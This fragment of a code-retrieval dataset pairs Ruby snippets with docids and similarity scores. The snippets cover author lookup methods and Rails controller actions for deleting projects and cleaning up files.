"text": "def get_author_id(email)\n return Author.find(:first, :conditions => ['email = ?', email]).id\n rescue\n return nil\n end",
"title": ""
},
{
"docid": "043af7b377adc2d71afb6dfd74e6187d",
"score": "0.6972293",
"text": "def author\n if sender.is_a?(User)\n sender.person\n else\n sender\n end\n end",
"title": ""
},
{
"docid": "e5291523139c49165909b3faca7200ca",
"score": "0.69681203",
"text": "def content_author\n \n result = {}\n\n author = if content.composer_user.nil?\n content.composer_name\n else\n content.composer_user.full_name\n end\n author_url = SystemConfiguration::Variable.get_value('cms.author_url', '')\n if (not content.composer_user.nil?) and (not author_url.empty?)\n result.store(:author, \"<a class=\\\"content-author content-composer\\\" href=\\\"#{author_url % [content.composer_username]}\\\">#{author}</a>\")\n else\n result.store(:author, \"<span class=\\\"content-author\\\">#{author}</span>\")\n end\n \n return result\n\n end",
"title": ""
},
{
"docid": "c6a820a259406a3b33920a3f62c0d58e",
"score": "0.6951765",
"text": "def email\n payload[:commits].first[:author][:email]\n end",
"title": ""
},
{
"docid": "b14e5cc18653a49772080d74609ff6dd",
"score": "0.69376916",
"text": "def author!(default_name = '')\n return default_name unless show_owner?\n\n if author_name.blank?\n user&.profile_name\n else\n author_name\n end\n end",
"title": ""
},
{
"docid": "aee1dd179f70ff2ea3b76e7dd8b48e47",
"score": "0.69354415",
"text": "def author\n @author\n end",
"title": ""
},
{
"docid": "aee1dd179f70ff2ea3b76e7dd8b48e47",
"score": "0.69354415",
"text": "def author\n @author\n end",
"title": ""
},
{
"docid": "c84a7a8cd71a874f9c58aff12591d9ae",
"score": "0.6932703",
"text": "def author\r\n @author\r\n end",
"title": ""
},
{
"docid": "33fa0319651118d5c68ee52424525210",
"score": "0.6926837",
"text": "def author_name\n user.nil? ? nil : user.login\n end",
"title": ""
},
{
"docid": "b9a64d2f33430b4e0e7b9c1391c0c61e",
"score": "0.692597",
"text": "def author\n @author ||= User.find(author_id)\n end",
"title": ""
},
{
"docid": "add92c8ec007e0701b3fdd3a9c04dac1",
"score": "0.6925276",
"text": "def find_author\n User.where(id: self.user_id).first.username\n end",
"title": ""
},
{
"docid": "bd66f571c35739c16652f4507841175e",
"score": "0.692314",
"text": "def author\n @hash['author'] || @hash['editor']\n end",
"title": ""
},
{
"docid": "ec2964d1c773ffaa6c81cfa6320fa3f7",
"score": "0.69064826",
"text": "def author\n @author ||= Author.new(@entry_element.select(\"./atom:author\"))\n end",
"title": ""
},
{
"docid": "5913fd82594bf5626e447a96a5a2d194",
"score": "0.6899604",
"text": "def author\n parse('app.author')\n end",
"title": ""
},
{
"docid": "037ec6615c6bdf1a5b9c3be79bc8259a",
"score": "0.68993306",
"text": "def author\n message.author.decorate\n end",
"title": ""
},
{
"docid": "7d6140c57a5631e670047f8057360626",
"score": "0.68987596",
"text": "def author_name\n authorable.name\n end",
"title": ""
},
{
"docid": "ee192907e2502f3380662cf1122dad4e",
"score": "0.6897881",
"text": "def author\n # TODO: Return object instead\n @json['user']['meta']['author']\n end",
"title": ""
},
{
"docid": "81a2fc6cdf3f18e42e79eb94c1022b04",
"score": "0.68911755",
"text": "def author\n @data[\"author\"] ? @data[\"author\"] : Settings.author\n end",
"title": ""
},
{
"docid": "610e1c4d33fbefe830ba7eafe30fde57",
"score": "0.68883806",
"text": "def author\n \"#{@author.last_name}, #{@author.first_name}\"\n end",
"title": ""
},
{
"docid": "90c75cb886720741d011b2f32150fda5",
"score": "0.68864316",
"text": "def extract_author(content)\n match = content.match(/^[aA]uthor: (.*)$/o)\n if match\n @author = match[1]\n # Remove the author from the post text\n content.gsub! /^[aA]uthor: .*$/, ''\n end\n return content\n end",
"title": ""
},
{
"docid": "4ac08f154e3bb43c294197ff09baaa82",
"score": "0.6877817",
"text": "def update_email(db_author:)\n return if @response['correspondingAuthor'].blank? || @response['correspondingAuthor']['author'].blank? ||\n @response['correspondingAuthor']['email'].blank?\n\n return unless db_author.author_first_name == @response['correspondingAuthor']['author']['givenNames'] &&\n db_author.author_last_name == @response['correspondingAuthor']['author']['familyName']\n\n email = @response['correspondingAuthor']['email']\n\n # Some emails have a bunch of crap crammed in like \"schirmel@uni-landau.de Contact Institution: University of Koblenz-Landau\",\n # but it's not really always, so trying to extract an email with a regular expression if one is lying around in the junk somewhere.\n email = email.match(/\\S+@\\S+\\.{1}\\S+/).to_s\n return if email.blank?\n\n db_author.update(author_email: email)\n end",
"title": ""
},
{
"docid": "562521a3a010b696bcd0cbcf4b3d0eab",
"score": "0.6874665",
"text": "def author\n author_stmt = Spira.repository.query(:subject => self.id, :predicate => SCHEMA_CREATOR).first\n author_stmt = Spira.repository.query(:subject => self.id, :predicate => SCHEMA_AUTHOR).first if author_stmt.nil?\n\n if author_stmt\n author_type = Spira.repository.query(:subject => author_stmt.object, :predicate => RDF.type).first\n case author_type.object\n when SCHEMA_PERSON then author_stmt.object.as(Person)\n when SCHEMA_ORGANIZATION then author_stmt.object.as(Organization)\n else nil\n end\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "562521a3a010b696bcd0cbcf4b3d0eab",
"score": "0.6874665",
"text": "def author\n author_stmt = Spira.repository.query(:subject => self.id, :predicate => SCHEMA_CREATOR).first\n author_stmt = Spira.repository.query(:subject => self.id, :predicate => SCHEMA_AUTHOR).first if author_stmt.nil?\n\n if author_stmt\n author_type = Spira.repository.query(:subject => author_stmt.object, :predicate => RDF.type).first\n case author_type.object\n when SCHEMA_PERSON then author_stmt.object.as(Person)\n when SCHEMA_ORGANIZATION then author_stmt.object.as(Organization)\n else nil\n end\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "6ac2346f05a10b5f213a62c4cfd957bc",
"score": "0.6871104",
"text": "def author_name\n\t\tself[:author_name] || \"Someone\"\n\tend",
"title": ""
},
{
"docid": "0647075e46188a5b96640fd319ac44f8",
"score": "0.686342",
"text": "def author!(default_name = '')\n return default_name unless show_owner?\n\n if author_name.blank?\n user.profile_name\n else\n author_name\n end\n end",
"title": ""
},
{
"docid": "ce74e161d18ff3ecf7bb963978f44d0e",
"score": "0.6861988",
"text": "def author\n metadata[:page]['author']\n end",
"title": ""
},
{
"docid": "cbd3ffad807623b44551d43cef181c94",
"score": "0.6854866",
"text": "def author_name\n self.name || self.user.public_name\n end",
"title": ""
},
{
"docid": "026801e62c571c148fded307c026a0c6",
"score": "0.6852656",
"text": "def author\n @options ? @options[:author] : self.authors.first\n end",
"title": ""
},
{
"docid": "0aeef2183075ac1786a19c3a622043eb",
"score": "0.6840948",
"text": "def author\n object.author_name\n end",
"title": ""
},
{
"docid": "502b3c3066037b1f698a9e85615748d4",
"score": "0.68356305",
"text": "def author\n @author\n end",
"title": ""
},
{
"docid": "502b3c3066037b1f698a9e85615748d4",
"score": "0.68352777",
"text": "def author\n @author\n end",
"title": ""
},
{
"docid": "de2c7471ef302d060d820bb0573fe871",
"score": "0.68252486",
"text": "def author\n User.find_by_id(self.author_id)\n end",
"title": ""
},
{
"docid": "abd07357231100eaaf4cbfe9cbc9a601",
"score": "0.68240196",
"text": "def get_author\n if (self.doc/'h3.byline').size > 0\n tmp = '' \n byline = (self.doc/'h3.byline').inner_text\n byline.split(\" \").each do |word|\n unless /and/i.match(word)\n tmp << \"#{word.capitalize} \" \n else\n tmp << \"#{word.downcase} \"\n end\n end\n clean(tmp)\n else\n (self.doc/'li.byline/h3').inner_text\n end\n \n end",
"title": ""
},
{
"docid": "56b4987b591ca3875ebe27776b9d0aac",
"score": "0.68183297",
"text": "def best_author\n @best_author ||= find_best_author\n end",
"title": ""
},
{
"docid": "d6368d04533d9dc668829a35d56757a9",
"score": "0.681139",
"text": "def author\n feed[\"author\"]\n end",
"title": ""
},
{
"docid": "da767ff813c1070f1751afe0e8054352",
"score": "0.68105733",
"text": "def author\n @data[\"author\"]\n end",
"title": ""
},
{
"docid": "43cc970e1432514ab0b96ef0ac49bfae",
"score": "0.6801527",
"text": "def author_name\n course_user = topic.course.course_users.for_user(creator).first\n course_user&.name || creator.name\n end",
"title": ""
},
{
"docid": "6c16b8fadbd5f3a50b7d5f58dada9b36",
"score": "0.6800221",
"text": "def send_author_email( work )\n\n return if work.nil?\n author = Helpers::EtdHelper::lookup_user( User.cid_from_email( work.creator ) )\n return if author.nil?\n\n # send the email\n ThesisMailers.thesis_submitted_author( work, author.display_name, MAIL_SENDER ).deliver_later\n\n end",
"title": ""
},
{
"docid": "b1611208d8de9e1332f7b7bdd8244b59",
"score": "0.67992127",
"text": "def author_name\n feed = Feed.load_xml(get_collection(collection_uri).body)\n feed.author_name\n end",
"title": ""
},
{
"docid": "b1611208d8de9e1332f7b7bdd8244b59",
"score": "0.67992127",
"text": "def author_name\n feed = Feed.load_xml(get_collection(collection_uri).body)\n feed.author_name\n end",
"title": ""
},
{
"docid": "52daf6095447bf55f3766e5b004e305e",
"score": "0.6797688",
"text": "def author_name\n self.user ? self.user.public_name : self.name\n end",
"title": ""
},
{
"docid": "41c78609b286719583ede3998b5ee71b",
"score": "0.6796446",
"text": "def author \n @author ||= Author.new(@entry_element.at('author'))\n end",
"title": ""
},
{
"docid": "3f12acf2b92f6ea45ddf0ed8f597d30c",
"score": "0.67960066",
"text": "def author_name\n if is_news?\n if authors_is_created_by?\n created_by.try(:name)\n else\n authors\n end\n else\n created_by.present? ? created_by.name : authors\n end\n end",
"title": ""
},
{
"docid": "5ce721dd4c4bada5850b1e435753cef6",
"score": "0.67919475",
"text": "def author\n node_text(node.at(\"author\"))\n end",
"title": ""
},
{
"docid": "67be3290793c5fb6886b4e0a8ced40e0",
"score": "0.6791167",
"text": "def default_author\n book = data.book\n if book.creators.size > 1\n %(#{book.creators[0].last_name}, #{book.creators[0].first_name},\n and #{book.creators[1].first_name} #{book.creators[1].last_name})\n else\n \"#{book.creators.first.last_name}, #{book.creators.first.first_name}\"\n end\n end",
"title": ""
},
{
"docid": "a264af3592794175d22d4bfd051419f6",
"score": "0.6785689",
"text": "def author\n \t self.user ? self.user.display_name : self.byline ? self.byline : 'Anon'\n \tend",
"title": ""
},
{
"docid": "07ae3cbd918604fa5bc6f7694b7ca29c",
"score": "0.678163",
"text": "def user_author\n @user_author ||\n build_user_author\n end",
"title": ""
},
{
"docid": "8395eb7804dcc24cb760d39f97c2a0e5",
"score": "0.67771095",
"text": "def getAuthor\n\t\treturn @author\n\tend",
"title": ""
}
] |
5d7f9e63d027c923de37ee6ad75866a7
|
delete the unwanted project
|
[
{
"docid": "b86c72727257a888dee7a6107fdf0f51",
"score": "0.6823195",
"text": "def backend_deleteProject(param) \n @Projects.delete(param) if @Projects.include? param \n end",
"title": ""
}
] |
[
{
"docid": "b3b0af42cfa97aea6d01a763ee67d692",
"score": "0.75012106",
"text": "def purge\n @projects = []\n end",
"title": ""
},
{
"docid": "b3b0af42cfa97aea6d01a763ee67d692",
"score": "0.75012106",
"text": "def purge\n @projects = []\n end",
"title": ""
},
{
"docid": "1fd29fd24b926796b53cf21f1c7e6342",
"score": "0.74577135",
"text": "def remove_from_project\n build_files.each(&:remove_from_project)\n super\n end",
"title": ""
},
{
"docid": "a05b284aadff7cb9aa85cf080c0dc535",
"score": "0.72451663",
"text": "def clear_project\n @project = nil\n end",
"title": ""
},
{
"docid": "4840554d60b43c187b1fbd41773520d6",
"score": "0.7193456",
"text": "def delete_all_projects\n FileUtils.rm_rf(Dir.glob(\"#{DIR_PROJECTS}/*\"))\nend",
"title": ""
},
{
"docid": "52735b85ba90c1faf5ee82b8b9c1d6d8",
"score": "0.7095216",
"text": "def delete_mock_project\n FileUtils.rm_rf(@project_path)\n end",
"title": ""
},
{
"docid": "ee24abe942bfd71a96b928a61a60d3aa",
"score": "0.7036648",
"text": "def delete_project(id)\n elektron_identity.delete(\"projects/#{id}\")\n end",
"title": ""
},
{
"docid": "4f0efbc87cc9e1649e64eef16f4ebe2a",
"score": "0.70096314",
"text": "def delete_project(project)\n handle_action_exceptions(__method__) do\n cmd_line = [\"deleteproject '#{project}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"title": ""
},
{
"docid": "8e6ee9d3bee83d7ab34b19bf2eb3797b",
"score": "0.68940645",
"text": "def del_project(username, projectname)\n project = GithubRepo.find_by(github_user: username, project_name: projectname, user_id: current_user)\n project.imported = false\n project.save\n\n\n target_campaign = Quest.find_by(type: 'Campaign', name: projectname, campaign_id: nil)\n #destroy all Rounds\n Round.destroy_all(campaign_id: target_campaign.id)\n #destroy all Quests related to campaign\n Quest.destroy_all(campaign_id: target_campaign.id)\n #destroy the campaign itself\n Quest.destroy(target_campaign.id)\n\n #destroy all Commits\n\n Record.destroy_all(type: 'Commit', github_username: username, github_projectname: projectname)\n\n #make sure there is an encounter there\n create_round(project, action_name, Campaign.last)\n end",
"title": ""
},
{
"docid": "8a940ee56f7ff8d455cd95e28e6890f3",
"score": "0.6777515",
"text": "def delete\n name = shift_argument\n unless name\n error(\"Usage: mortar projects:delete PROJECTNAME\\nMust specify PROJECTNAME.\")\n end\n validate_arguments!\n projects = api.get_projects().body['projects']\n project_id = nil\n if projects.any?\n projects.each do |project|\n if project['name'] == name\n project_id = project['project_id']\n end\n end\n end\n\n if project_id.nil?\n display \"\\nNo project with name: #{name}\"\n else\n # delete embedded project mirror if one exists\n mirror_dir = \"#{git.mortar_mirrors_dir()}/#{name}\"\n if File.directory? mirror_dir\n FileUtils.rm_r mirror_dir\n end\n\n # delete Mortar remote\n action(\"Sending request to delete project: #{name}\") do\n api.delete_project(project_id).body['project_id']\n end\n display \"\\nYour project has been deleted.\"\n end\n \n end",
"title": ""
},
{
"docid": "54aef889b6109811b20428189e53950d",
"score": "0.6774197",
"text": "def destroy\n @project = AzProject.find(params[:id])\n @project.deleting = true # По этому странному атрибуту страница определяет, что она не должна удалять свои задачи из Redmine\n @project.save\n\n if @project.can_user_delete(current_user)\n @project.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to('/projects') }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d38897e13b496bb3e7c3e88c52ad07c3",
"score": "0.67681307",
"text": "def destroy\n @project.destroy\n end",
"title": ""
},
{
"docid": "d38897e13b496bb3e7c3e88c52ad07c3",
"score": "0.67681307",
"text": "def destroy\n @project.destroy\n end",
"title": ""
},
{
"docid": "d38897e13b496bb3e7c3e88c52ad07c3",
"score": "0.67681307",
"text": "def destroy\n @project.destroy\n end",
"title": ""
},
{
"docid": "d38897e13b496bb3e7c3e88c52ad07c3",
"score": "0.67681307",
"text": "def destroy\n @project.destroy\n end",
"title": ""
},
{
"docid": "d38897e13b496bb3e7c3e88c52ad07c3",
"score": "0.67681307",
"text": "def destroy\n @project.destroy\n end",
"title": ""
},
{
"docid": "5285cfa323e4ce74b1a2dba71fdf8cc5",
"score": "0.6728873",
"text": "def deleteProject(id) \n project_to_remove = getProjectByID(id)\n\n if project_to_remove != nil \n @Projects.delete(project_to_remove)\n else \n puts \"No such project. \"\n end \n end",
"title": ""
},
{
"docid": "8619ade2925c695f8952f0a7c7baa07c",
"score": "0.663082",
"text": "def destroy\n begin\n ActiveRecord::Base.transaction do\n ## Remove the project and everything associated with it (permissions,\n ## files, comments, altcode).\n delete_project(@project)\n\n render json: \"\", serializer: SuccessSerializer\n end\n rescue => e\n render_error \"Could not remove project: #{e}\"\n end\n end",
"title": ""
},
{
"docid": "c9eb3ecb6447596fd952d55e3ceba5d7",
"score": "0.662423",
"text": "def _project_delete(acronym)\n delete \"/projects/#{acronym}\"\n _response_status(204, last_response)\n end",
"title": ""
},
{
"docid": "b8459b1fb8483ebac0cc9b8c5c1779f6",
"score": "0.65840083",
"text": "def before_destroy\n self.projects.destroy_all\n end",
"title": ""
},
{
"docid": "4ac538490d15e9c548b007013e69e17d",
"score": "0.65373755",
"text": "def unlink_project\n self.project.remove_groupID(self.id.to_s)\n end",
"title": ""
},
{
"docid": "f75e39df6ff0f92d23c70305b2b81a37",
"score": "0.6532446",
"text": "def destroy\n @project.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "1b5c25060eab16b01a3c2ccddb67633b",
"score": "0.6531344",
"text": "def destroy\n project.destroy if project.is_a?(MockProject)\n end",
"title": ""
},
{
"docid": "b84dafe8a21fbeede16bb95bf32aabc9",
"score": "0.65162677",
"text": "def destroy\n @project.destroy\n head :no_content\n end",
"title": ""
},
{
"docid": "dc1ebd281dc4b18d154778bf67e3ee69",
"score": "0.650774",
"text": "def preclean_project\n # Clean-up non-useful files (if any)\n clean_msg = `make clean 2>&1`\n @log_file.puts \"\\nNettoyage du répertoire :\\n\\n#{clean_msg}\"\n \n # I want to be sure...\n FileUtils::rm_f Dir.glob(\"*.o\")\n FileUtils::rm_f Dir.glob(\"*~\")\n end",
"title": ""
},
{
"docid": "480012f6f6771c62e2a513094dcc7f2e",
"score": "0.64957565",
"text": "def cleanup\n\n # ----------------------------------------------\n account_name = 'your account name' # <-- change this!\n project_name = 'your project name' # <-- change this!\n # ----------------------------------------------\n\n project_dir = \"/home/#{account_name}/www\"\n Dir.chdir(project_dir)\n\n Dir.entries(project_name).select do |entry1|\n\n dir1 = File.join(project_name,entry1) #dir2 = \"#{project_name}/#{entry1}\"\n if is_directory?(dir1)\n Dir.entries(dir1).select do |entry2|\n \n dir2 = File.join(dir1,entry2) #dir2 = \"#{project_name}/#{entry1}/#{entry2}\"\n if is_directory?(dir2)\n Dir.entries(dir2).select do |entry3|\n \n dir3 = File.join(dir2,entry3) #dir3 = \"#{project_name}/#{entry1}/#{entry2}/#{entry3}\"\n if is_directory?(dir3)\n Dir.entries(dir3).select do |entry4|\n delete_file(File.join(dir3,entry4))\n end\n end\n\n delete_file(dir3)\n delete_dir(dir3)\n end\n end\n\n delete_file(dir2)\n delete_dir(dir2)\n end\n end\n\n delete_file(dir1)\n delete_dir(dir1)\n end\n\n delete_dir(project_name)\nend",
"title": ""
},
{
"docid": "dd3b96c004516cf93e9e763ca0294de2",
"score": "0.64932734",
"text": "def destroy\n if @project.destroy\n redirect_to root_path\n else\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "71be43d5d6ce2fd6f3dcbcfd49346412",
"score": "0.6483994",
"text": "def delproject(project)\n post('delproject.json', project: project)\n end",
"title": ""
},
{
"docid": "da510c955a72d00170d62d99ec9e94aa",
"score": "0.64793456",
"text": "def delete_projects(project_ids)\n return if project_ids.nil?\n delete \"projects/#{project_ids.join(',')}\"\n end",
"title": ""
},
{
"docid": "38ec43b785fa20049e697371e9b6b68a",
"score": "0.6476199",
"text": "def destroy\n @project = Project.find(params[:id])\n @project.destroy\n end",
"title": ""
},
{
"docid": "a047a3529d7c013f882c307d9a38009e",
"score": "0.64722043",
"text": "def destroy\n @project = Project.find(params[:id])\n @project.destroy\n redirect_to projects_path, :notice => 'Anlage wurde gelöscht.'\n end",
"title": ""
},
{
"docid": "3d60fc45df1febb100d5ea7bd24e482a",
"score": "0.6461435",
"text": "def destroy\n redirect_to index_project_path\n end",
"title": ""
},
{
"docid": "4cd3b438afeb3f5246a1cb1f132374d7",
"score": "0.64420766",
"text": "def destroy\n @project.destroy\n @projects = Project.all\n render :index\n end",
"title": ""
},
{
"docid": "e1ef6df7639e6baf25a62d36932579de",
"score": "0.64396435",
"text": "def destroy\n # Se busca el proyecto por el id\n @project = Project.find(params[:id])\n # Se destruye\n @project.destroy\n redirect_to projects_url\n end",
"title": ""
},
{
"docid": "c3a7da165e7219ca8d7fb50d4f830605",
"score": "0.6437661",
"text": "def destroy\n @brigade_project = general_destroy(BrigadeProject, params[:id], brigade_projects_url)\n end",
"title": ""
},
{
"docid": "63bb9d1d4b64b5a4c465ffbea624eddf",
"score": "0.64115",
"text": "def destroy\n @project = Project.find(params[:id])\n\t@checks = Check.find(:all).where(:project_id => @project.id)\n\t@checks.each do |check|\n\t\tcheck.destroy\n\tend\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b365909f47a2db1db56db96b6ed5a55a",
"score": "0.6397926",
"text": "def clear\n @ProjectFileLoader.LoadedProjectFiles().each do |projectFile|\n projectFile.clear()\n end\n end",
"title": ""
},
{
"docid": "dd6f1096c12849f2b2a0fecf819d26b6",
"score": "0.638374",
"text": "def delete_project\n\t\t@project = Project.find(params[:id])\n\n\t\tif @project.destroy\n\t\t\tredirect_to \"/details\"\n\t\telse\n\t\t\treder :action => \"delete_project\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "cfca290ee088437e06edb0b8b0fb572e",
"score": "0.6380294",
"text": "def destroy\n @project = Project.find(params[:id])\n\n unless can_delete?(@project)\n respond_to do |format|\n format.html { redirect_to '/401.html' }\n format.json { render json: {}, status: :forbidden }\n end\n return\n end\n\n if @project.data_sets.length > 0\n respond_to do |format|\n format.html do\n redirect_to [:edit, @project],\n alert: \"Can't delete project with data sets\"\n end\n format.json { render json: {}, status: :forbidden }\n end\n return\n end\n\n @project.media_objects.each(&:destroy)\n\n Project.where('cloned_from = ?', @project.id).each do |clone|\n clone.cloned_from = nil\n clone.save!\n end\n\n @project.destroy\n\n respond_to do |format|\n format.html do\n redirect_to projects_url, notice: \"Project deleted: #{@project.title}\"\n end\n format.json { render json: {}, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "5acfe82ec71c09fcb679c79a0b3a9509",
"score": "0.63799214",
"text": "def nuke(project_id)\n remove_all_tasks(project_id)\n remove_all_columns(project_id)\n end",
"title": ""
},
{
"docid": "84c685e0a107fc79bb1f0d3596c16c15",
"score": "0.637389",
"text": "def remove_old_package\n template_files.clear\n test_cases.clear\n self.import_job = nil\n end",
"title": ""
},
{
"docid": "9364dfd3c23f3ba724c7676fba49d829",
"score": "0.63404965",
"text": "def destroy_without_callbacks\n unless new_record?\n # make sure old projects are destroyed\n project.destroy\n # (May need to iterate through bike.versions)\n end\n super\n end",
"title": ""
},
{
"docid": "af90bb0c8d0b48379a28bf3c3f358624",
"score": "0.6334846",
"text": "def remove_files_we_dont_need\n say 'Remove files we don\\'t need'\n build :remove_public_index\n build :remove_readme_rdoc\n end",
"title": ""
},
{
"docid": "115f5b2bbb489213fd4a29c5e53b65d2",
"score": "0.63127625",
"text": "def destroy\n @project = Project.find(params[:id])\n employee_projects = EmployeesProjects.find EmployeesProjects.search_by(project_id: @project.key)\n employee_projects.map &:destroy\n @project.destroy\n respond_to do |format|\n if Project.list.blank?\n format.html { redirect_to startup_projects_path }\n else\n format.html { redirect_to learn_projects_path }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "4a000148655c814f6bccfb2777300310",
"score": "0.631112",
"text": "def destroy \n @project = Project.find(params[:id])\n @project.destroy\n redirect_to root_url\n end",
"title": ""
},
{
"docid": "e31762a1e5acaaff7aa80f16c3794525",
"score": "0.6310024",
"text": "def destroy\n if current_user == @project.user || current_user.role == 1\n @project.objectives.each do |obj|\n obj.objective_validations.destroy_all\n obj.destroy\n end\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, :flash => { success: 'Projet supprimé avec succès' } }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "b9d7642888b6ac5afefa98493f374ee8",
"score": "0.6309386",
"text": "def destroy\n \n @project = Project.find(params[:id])\n if @project.deleted == true\n @project.deleted = false\n else\n @project.deleted = true\n end\n @project.save\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c990588e89cea955f41f63b1de1daec4",
"score": "0.6305679",
"text": "def destroy\n standard_destroy(Project, params[:id])\n end",
"title": ""
},
{
"docid": "ef1442391d63da331390802609bd0aa3",
"score": "0.63035786",
"text": "def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n redirect_to(projects_url)\n end",
"title": ""
},
{
"docid": "aba4fe2be9bccae23b9e2dbb45083c5d",
"score": "0.6291144",
"text": "def remove_solution_files\n remove_folder_files(SOLUTION_PATH)\n end",
"title": ""
},
{
"docid": "2382712963bdb9e913642944cd00935c",
"score": "0.62831825",
"text": "def delete(projects)\n project_ids = projects.collect { |project| project.id } \n args = {ids: project_ids.to_json}\n return @client.api_helper.command(args, \"project_delete\")\n end",
"title": ""
},
{
"docid": "d87174a0f6cda659ed6afc7aa5f7276d",
"score": "0.6272613",
"text": "def destroy\n @project.destroy\n\n redirect_to user_projects_url(@user)\n end",
"title": ""
},
{
"docid": "9062669fa3ce8adf7543e26ec1eba2b4",
"score": "0.6269592",
"text": "def destroy #+либо свой, либо админ\n @project = Project.find(params[:id])\n \n if (!current_user.is_admin && @project.author_id != @current_user.id)\n flash[:error] = \"У Вас нет прав на данное действие!\"\n redirect_back_or_default project_path(@project)\n else\n photos = AttachedPhoto.find(:all, :conditions => \"project_id = \" + @project.id.to_s)\n if (photos.length >0)\n photos.each do |photo|\n photo.destroy\n end\n end\n @project.destroy\n redirect_to(projects_url)\n end \n end",
"title": ""
},
{
"docid": "3e9a30d597c9b44304179107a6bf0615",
"score": "0.626688",
"text": "def destroy\n @project.destroy_all\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'The project was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9824962fbf3f0f67377f4b1d6d9078dc",
"score": "0.62617564",
"text": "def destroy\n \tproject = Project.find(params[:id])\n\tif !project.blank? && project.can_be_deleted?\n project.destroy\n redirect_to :action => 'list'\n\telse\n\t flash[:error] = 'Project cannot be deleted to protect the related data'\n\t redirect_to :action => 'edit', :id => project.project_id\n\tend\n end",
"title": ""
},
{
"docid": "cfdda83491ccdbd940423c3226541d2a",
"score": "0.62606555",
"text": "def delete_project_target(target, project, machine, pool)\n handle_action_exceptions(__method__) do\n cmd_line = [\n \"deleteprojecttarget '#{target}' \"\\\n \"'#{project}' '#{machine}' '#{pool}'\"\n ]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"title": ""
},
{
"docid": "9d40a05051fdfc5a20fcad7982623b42",
"score": "0.6258271",
"text": "def destroy\n\t\t@project.destroy\n\t\trespond_to do |format|\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ad5799e6096130c65a08ab48ee06ac05",
"score": "0.6257711",
"text": "def destroy\n return unless find_project!\n\n if !check_permission!(@project)\n redirect_to(project_path(@project.id, q: get_query_param))\n elsif !@project.destroy\n flash_error(:destroy_project_failed.t)\n redirect_to(project_path(@project.id, q: get_query_param))\n else\n @project.log_destroy\n flash_notice(:destroy_project_success.t)\n redirect_to(projects_path(q: get_query_param))\n end\n end",
"title": ""
},
{
"docid": "10c644c98ae37770c76bc4626fdafba1",
"score": "0.6240801",
"text": "def destroy\n @project = @user.projects.find(params[:id])\n @project.remove!\n\n respond_to do |format|\n format.html { redirect_to(projects_url(:subdomain => @user.subdomain)) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9b92f7e55914cfbc487fc6cd233e5be4",
"score": "0.62315905",
"text": "def destroy\n @project_master.destroy\n @project_masters = ProjectMaster.all\n end",
"title": ""
},
{
"docid": "0663204468ea2621e01323ef96282497",
"score": "0.6226265",
"text": "def destroy\n Project.transaction do\n begin\n @project = Project.find(params[:id])\n @project.users_projects.delete_all\n @project.destroy\n rescue\n raise ActiveRecord::Rollback\n end\n end\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5ee65b4e06d5dde7b8c1c5efdd5a9b24",
"score": "0.6214901",
"text": "def destroy\n if @project.destroy\n redirect_to projects_path, notice: 'Project has been deleted.'\n else\n redirect_to projects_path, notice: 'Project could not be deleted.'\n end\n end",
"title": ""
},
{
"docid": "65b197b7b0f6af8ac3073c891c449a05",
"score": "0.62137085",
"text": "def destroy_project # :norobots:\n pass_query_params\n if @project = find_or_goto_index(Project, params[:id].to_s)\n if !check_permission!(@project)\n redirect_to(:action => 'show_project', :id => @project.id,\n :params => query_params)\n elsif !@project.destroy\n flash_error(:destroy_project_failed.t)\n redirect_to(:action => 'show_project', :id => @project.id,\n :params => query_params)\n else\n @project.log_destroy\n Transaction.delete_project(:id => @project)\n flash_notice(:destroy_project_success.t)\n redirect_to(:action => :index_project, :params => query_params)\n end\n end\n end",
"title": ""
},
{
"docid": "49fa0cea2fc82cf906bc13180c57090c",
"score": "0.6207695",
"text": "def delete_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'DELETE'\n\t\targs[:pattern] = '/projects/[ProjectName]'\n\t\targs[:query]['Action'] = 'DeleteProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project_name\n\t\t\targs[:path]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "6f42c628434990ca08c44c555eb154df",
"score": "0.6206634",
"text": "def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n end\n end",
"title": ""
},
{
"docid": "6f6257bb04aaa3298d7549d0ac54895d",
"score": "0.6201156",
"text": "def destroy\n @project = Project.find(params[:id])\n @project.destroy\n @project.users.delete_all\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4cdb6c9c492028fbd565a9d2f3f05d48",
"score": "0.6196913",
